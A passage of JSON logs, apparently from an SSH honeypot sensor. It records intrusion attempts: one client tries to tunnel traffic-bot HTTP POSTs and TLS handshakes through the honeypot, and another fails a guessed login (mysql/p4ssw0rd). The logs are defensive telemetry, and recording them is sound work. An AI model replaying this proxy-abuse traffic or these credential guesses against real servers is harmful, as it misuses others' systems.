deflate\\r\\n\\r\\n_=UmVpdUA%2BcjUoQlY0MzAzaQ%3D%3DzZSbXGeD7SC3cnIXyiDhLwX%2B2D0pP1%2Bkl3YRZ6Zbk4hSiUR%2F8fzCZKocmEzmvdDgAn79Z4gTQhTNplE1I1b33g5qaf%2BN4myAjfDsXbRAXAkZhNFfHEsXJgguO8kU3d2pj2rNZQYKwOFFFLivTSfTqBW7buwgsY7Znz%2BqU8FfjHxvtbU6gLeYZ%2F%2F7zdKwkl%2F02AGJ3Ic1DJ%2FkMUXgwFrukScpJbzSsWyr71dhBAx9g54CRkzdcW8Y%2Fxyu3SpIgzyJ4%2BKm3XoVtAcJmgOBBATTNoi7bVc5cy%2FIZfRIZBhtwB4l5DSKBCewlqIxKzx%2FZF4%2F%2BAtxL%2B0gKbfHFMGSOpk%2FpdJLg9csjsggAEUpRis%2F1koW5m19FjLe%2FRoL4seDRVZCX8uWPzOfUpC11GvXd2SfYfSIdKyBkzscPGqXy7SmqPAwlG3jON%2BXN0K20FAMn61%2FKaONbGQLM2bEoroiF%2FEOrDqmkeRx10IM4Qi2sBFkIuACmiLjfnc%2F3TiP0xuc05VwnxGkfKraqAFC8X0RwgNtDYLNmZv%2FWxdiuUMqna2DmcvcOq9N%2BKjTGj81P1v%2FTCJiBJZWBYs4sVblIBH%2BwwULSVhbvTyEyXVcw3PGoCwduXnTXLQkLhOJ3SCkmGoywU7I7UoPDkIzUvvEixpkxagCSP%2ByOXSXyTGoW%2BVYOiF6As9RTXU9jm5UmO9bqZf1x035UPnxcOlxBj%2BsIcXMQH2nw93qkwQ91bc903F%2BobqdTA40viZYHekKBypzpWlQ0C9s0S6SZLUxdxhcVUSHw7TH7BiwzrIIQKEXql9RbPSUMP8oCn%2FN7vlUwfozk8bnUnpx2V%2Fmt5ND4JNDaLKEOVkbks31YUChU9NyvbbdJGNJoohj95ZWb5s2ISYYam%2F6JWxTZS6YAoR3MnTahKRdMqIQ8OeiI3HSmkQ%2F9dJFcWgfH72t3UyO70XHXSzrAC0kiFV9k08oyCUGPSRHdxgPB04bpcvMvwBgWm6j%2FWHV%2FbzfgaZt%2F9HBhJuG5NZM8JrEhTLUk0LOtpu21vrC6NUDQEBkwn98Kee0BT7Iph4czFtQuoiBdu0uD%2F8h6l3V%2FvUQ48V1'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1200\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=UmVpdUA%2BcjUoQlY0MzAzaQ%3D%3DzZSbXGeD7SC3cnIXyiDhLwX%2B2D0pP1%2Bkl3YRZ6Zbk4hSiUR%2F8fzCZKocmEzmvdDgAn79Z4gTQhTNplE1I1b33g5qaf%2BN4myAjfDsXbRAXAkZhNFfHEsXJgguO8kU3d2pj2rNZQYKwOFFFLivTSfTqBW7buwgsY7Znz%2BqU8FfjHxvtbU6gLeYZ%2F%2F7zdKwkl%2F02AGJ3Ic1DJ%2FkMUXgwFrukScpJbzSsWyr71dhBAx9g54CRkzdcW8Y%2Fxyu3SpIgzyJ4%2BKm3XoVtAcJmgOBBATTNoi7bVc5cy%2FIZfRIZBhtwB4l5DSKBCewlqIxKzx%2FZF4%2F%2BAtxL%2B0gKbfHFMGSOpk%2FpdJLg9csjsggAEUpRis%2F1koW5m19FjLe%2FRoL4seDRVZCX8uWPzOfUpC11GvXd2SfYfSIdKyBkzscPGqXy7SmqPAwlG3jON%2BXN0K20FAMn61%2FKaONbGQLM2bEoroiF%2FEOrDqmkeRx10IM4Qi2sBFkIuACmiLjfnc%2F3TiP0xuc05VwnxGkfKraqAFC8X0RwgNtDYLNmZv%2FWxdiuUMqna2DmcvcOq9N%2BKjTGj81P1v%2FTCJiBJZWBYs4sVblIBH%2BwwULSVhbvTyEyXVcw3PGoCwduXnTXLQkLhOJ3SCkmGoywU7I7UoPDkIzUvvEixpkxagCSP%2ByOXSXyTGoW%2BVYOiF6As9RTXU9jm5UmO9bqZf1x035UPnxcOlxBj%2BsIcXMQH2nw93qkwQ91bc903F%2BobqdTA40viZYHekKBypzpWlQ0C9s0S6SZLUxdxhcVUSHw7TH7BiwzrIIQKEXql9RbPSUMP8oCn%2FN7vlUwfozk8bnUnpx2V%2Fmt5ND4JNDaLKEOVkbks31YUChU9NyvbbdJGNJoohj95ZWb5s2ISYYam%2F6JWxTZS6YAoR3MnTahKRdMqIQ8OeiI3HSmkQ%2F9dJFcWgfH72t3UyO70XHXSzrAC0kiFV9k08oyCUGPSRHdxgPB04bpcvMvwBgWm6j%2FWHV%2FbzfgaZt%2F9HBhJuG5NZM8JrEhTLUk0LOtpu21vrC6NUDQEBkwn98Kee0BT7Iph4czFtQuoiBdu0uD%2F8h6l3V%2FvUQ48V1'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:15.394029Z","src_ip":"123.27.168.40","session":"8afbe311d93a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:15.490367Z","src_ip":"91.92.40.36","session":"9b8a8b299b07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:15.629849Z","src_ip":"123.27.168.40","session":"8afbe311d93a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03,\\xba\\xdb^>E{\\x85q\\xf0\\xeb\\x92P\\x02\\xb2\\x0c\\xa9\\x12.\\x19\\xce\\xec\\x19-\\xaf\\xbb\\xca\\x02\\xbf\\x04\\xf2\\xe9 \\x1a^\\xdb\\xa7\\x96\\xc2\\x9e{\\xe6\\xcd\\xfc\\x03N\\xd0\\x98\\x16:\\xe6\\xfe\\xd6t]V\\xba\\x89@\\x1f\\x9f_\\x12\\xf8h\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 4_B\\x99\\x9ac\\x9f9cK\\x11\\x91\\x87pS\\x1c\\x952\\xcdOa\\x0e\\xcdu\\xa6\\x9b\\\\B\\xfd\\x03\\xccl\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03,\\xba\\xdb^>E{\\x85q\\xf0\\xeb\\x92P\\x02\\xb2\\x0c\\xa9\\x12.\\x19\\xce\\xec\\x19-\\xaf\\xbb\\xca\\x02\\xbf\\x04\\xf2\\xe9 \\x1a^\\xdb\\xa7\\x96\\xc2\\x9e{\\xe6\\xcd\\xfc\\x03N\\xd0\\x98\\x16:\\xe6\\xfe\\xd6t]V\\xba\\x89@\\x1f\\x9f_\\x12\\xf8h\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 4_B\\x99\\x9ac\\x9f9cK\\x11\\x91\\x87pS\\x1c\\x952\\xcdOa\\x0e\\xcdu\\xa6\\x9b\\\\B\\xfd\\x03\\xccl\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:15.661388Z","src_ip":"123.27.168.40","session":"8afbe311d93a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:16.112712Z","session":"8afbe311d93a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:16.358810Z","src_ip":"123.27.168.40","session":"8afbe311d93a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbb\\x91\\x12\\x88K\\x9e\\x16\\x0e\\xfcQF\\xfe\\xb7\\xb6\\xac\\xe9\\xe2\\x07\\x0fU\\xe3z+\\x817,\\x80\\x1dI\\xec\\xb1+ ,\\x85\\xa51\\x89*(:\\x0bj\\xb5,\\x1bw\\xa8\\x95a~\\xfc\\xd3\\xc0\\x13\\xdb\\x1fd\\xf0\\x92\\xcf\\xb9\\xee\\xfeE\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf9\\xd7#\\xdc\\xd46\\xbcS\\x7f\\xea\\xf1p\\xaf\\xd8\\x05L\\xdc\\xd0Y\\xb0\\x8e\\x83jQ\\xbd\\xb9\\x9f\\xabp\\xca\\x84X\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbb\\x91\\x12\\x88K\\x9e\\x16\\x0e\\xfcQF\\xfe\\xb7\\xb6\\xac\\xe9\\xe2\\x07\\x0fU\\xe3z+\\x817,\\x80\\x1dI\\xec\\xb1+ ,\\x85\\xa51\\x89*(:\\x0bj\\xb5,\\x1bw\\xa8\\x95a~\\xfc\\xd3\\xc0\\x13\\xdb\\x1fd\\xf0\\x92\\xcf\\xb9\\xee\\xfeE\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf9\\xd7#\\xdc\\xd46\\xbcS\\x7f\\xea\\xf1p\\xaf\\xd8\\x05L\\xdc\\xd0Y\\xb0\\x8e\\x83jQ\\xbd\\xb9\\x9f\\xabp\\xca\\x84X\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:16.362224Z","src_ip":"123.27.168.40","session":"8afbe311d93a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:16.961257Z","src_ip":"123.27.168.40","session":"8afbe311d93a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":58070,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6e5bf4477f6","protocol":"ssh","message":"New connection: 91.92.40.36:58070 (159.203.135.109:22) [session: a6e5bf4477f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:18.094970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:18.377010Z","src_ip":"91.92.40.36","session":"a6e5bf4477f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:18.385201Z","src_ip":"91.92.40.36","session":"a6e5bf4477f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"p4ssw0rd","message":"login attempt [mysql/p4ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:20.898805Z","src_ip":"91.92.40.36","session":"a6e5bf4477f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:22.801748Z","src_ip":"91.92.40.36","session":"a6e5bf4477f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":58090,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebf979dd0c0a","protocol":"ssh","message":"New connection: 91.92.40.36:58090 (159.203.135.109:22) [session: ebf979dd0c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:23.974207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:24.979839Z","src_ip":"91.92.40.36","session":"ebf979dd0c0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:24.983421Z","src_ip":"91.92.40.36","session":"ebf979dd0c0a","protocol":"ssh"}
